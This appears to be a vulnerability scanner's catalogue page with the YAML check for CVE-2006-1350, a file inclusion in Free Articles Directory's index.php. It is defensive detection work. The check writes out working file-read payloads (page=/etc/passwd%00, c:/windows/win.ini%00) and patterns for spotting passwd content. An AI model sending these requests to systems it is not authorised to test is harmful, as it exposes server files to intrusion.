Free Articles Directory — 1 vulnerability check

noctis ships 1 vulnerability check for Free Articles Directory, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Free Articles Directory index.php page File Inclusion

CVECVE-2006-1350
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/free-articles-directory/CVE-2006-1350.yaml

Tests Free Articles Directory (ArticlesOne 99articles) for the file inclusion in index.php. The feed requests index.php with the page parameter set to /etc/passwd (or c:/windows/win.ini) followed by a NUL byte (%00) under the web root and the usual /99articles, /articles and /articles-directory install paths; the file content in the reply confirms the inclusion. A control request for an absent random file must not return any file content, so a server that serves the same content to every request is not reported. When only the PHP include warning for the chosen path comes back, the feed reports the weaker finding that the page opens attacker-chosen paths. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php?page=/etc/passwd%00
  2. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n]*)
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?page=c:/windows/win.ini%00
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/index.php?page=/etc/passwd.win.ini.noctis-absent-{{oob_token}}%00
  7. Checks ctrl_r.body for (?mi)((?:^|>)root:[^:\r\n]*:0:[01]:|; for 16-bit app support|\[fonts\…
  8. Parses / computes the next value with a Rhai script
  9. Checks lin_proof for ^root:<redacted>:0:0: → finding QoD 75: Free Articles Directory index.php File Inclusion (CVE-2006-1350)
  10. Checks win_file for ^c:/windows/win\.ini$ → finding QoD 75: Free Articles Directory index.php File Inclusion (CVE-2006-1350)
  11. Checks lin_proof for ^$ → finding QoD 70: Free Articles Directory index.php includes attacker-chosen paths (CVE-2006-1350)

References:

Feed source — tests/vulnerabilities/free-articles-directory/CVE-2006-1350.yaml
# Free Articles Directory (ArticlesOne "99articles") index.php page include — CVE-2006-1350
#
# index.php includes the file named by the page request parameter without
# sanitising it. With PHP magic_quotes_gpc off and PHP < 5.3.4, a "%00" cuts
# the suffix the script appends, so any local file readable by the web server
# is included and printed; with allow_url_include remote files are executed.
#
# Detection (benign, read-only): GET <dir>/index.php?page=/etc/passwd%00 and
# match the file CONTENT (root:...:0:[01]:) in the reply; win.ini on Windows.
# QoD 75 (response analysis). A control request for an absent random file
# (named after the probed files) must come back without any file signature, so
# a server answering the same content to every request is not reported. When
# no file content comes back but the control request for the absent random
# path makes PHP report a failed include of exactly that path, the page opens
# attacker-chosen paths (magic_quotes_gpc blocks only the NUL cut) and the
# feed reports it at QoD 70.
#
# Improvements over the source NASL: the NASL needs the ArticlesOne footer next
# to the file content and only tries /99articles plus the CGI dirs; the feed
# also tries the web root, /articles and /articles-directory, and does not rely
# on the footer (the control request replaces it). root's password field is
# redacted before it can reach the finding.
#
# Ported from OpenVAS/Greenbone NVT 2008/free_articles_directory_file_includes.nasl
# (GPL-2.0-only).
uid: 0296d42f-a917-4e63-bd2d-243e1ab742b9
name: "Free Articles Directory index.php page File Inclusion (CVE-2006-1350)"
description: |
  Tests Free Articles Directory (ArticlesOne 99articles) for the file
  inclusion in index.php. The feed requests index.php with the page parameter
  set to /etc/passwd (or c:/windows/win.ini) followed by a NUL byte (%00) under
  the web root and the usual /99articles, /articles and /articles-directory
  install paths; the file content in the reply confirms the inclusion. A
  control request for an absent random file must not return any file content,
  so a server that serves the same content to every request is not reported.
  When only the PHP include warning for the chosen path comes back, the feed
  reports the weaker finding that the page opens attacker-chosen paths. Only
  world-readable system files are read; root's password field is redacted from
  the evidence.
cves: [CVE-2006-1350]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [free-articles-directory, articlesone, lfi, file-inclusion, file-read, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1350"
  # OpenVAS/Greenbone NASL 2008/free_articles_directory_file_includes.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install dir; each pass
  # resets the values it reads.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/99articles", "", "/articles", "/articles-directory"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-ctrl-warn
    action: set_var
    var_name: ctrl_warn
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=/etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 0 {
        "root:<redacted>:0:0:" + passwd_m.captures[0]
      } else { "" }
    store_as: lin_proof

  # ── Windows: c:/windows/win.ini ──────────────────────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=c:/windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "c:/windows/win.ini"

  # ── Control: same parameter, absent random file named after the probed files
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=/etc/passwd.win.ini.noctis-absent-{{oob_token}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'passwd_r.status != 0'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\])"
    condition: 'passwd_r.status != 0'
    on_match:
      set_vars:
        ctrl_hit: true

  # PHP names the failed include path of the control request: the page opens
  # whatever path the request gives it.
  - id: control-warning
    action: script
    code: |
      type_of(ctrl_r.body) == "string"
        && stridx(ctrl_r.body, "noctis-absent-" + oob_token) >= 0
        && ereg("(failed to open stream|Failed opening)", ctrl_r.body, true)
    condition: 'passwd_r.status != 0'
    store_as: ctrl_warn

  # ── Findings ─────────────────────────────────────────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:0:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Free Articles Directory index.php File Inclusion (CVE-2006-1350)"
        description: "An unauthenticated request to index.php with page=/etc/passwd%00 returned the content of /etc/passwd, which the page included, while the same request for an absent file did not."
        remediation: "Remove or upgrade Free Articles Directory (unmaintained), disable magic_quotes-dependent setups, and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later) with allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?page=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^c:/windows/win\\.ini$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Free Articles Directory index.php File Inclusion (CVE-2006-1350)"
        description: "An unauthenticated request to index.php with page=c:/windows/win.ini%00 returned the content of that file, which the page included, while the same request for an absent file did not."
        remediation: "Remove or upgrade Free Articles Directory (unmaintained), and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later) with allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?page=c:/windows/win.ini%00 returned the content of win.ini; control for an absent file returned no file content"
      stop: true

  - id: report-warning
    action: match
    source: lin_proof
    pattern: "^$"
    condition: 'win_file == "" && ctrl_warn == true && ctrl_hit == false'
    on_match:
      finding:
        title: "Free Articles Directory index.php includes attacker-chosen paths (CVE-2006-1350)"
        description: "index.php with an absent random path in the page parameter made PHP report a failed include of exactly that path, so the page opens paths chosen by the request (file content was not returned, likely because magic_quotes_gpc blocks the NUL byte)."
        remediation: "Remove or upgrade Free Articles Directory (unmaintained), and keep allow_url_include off."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/index.php?page=<absent path>%00 produced a PHP include warning naming the requested path"
      stop: true

View these feeds on GitHub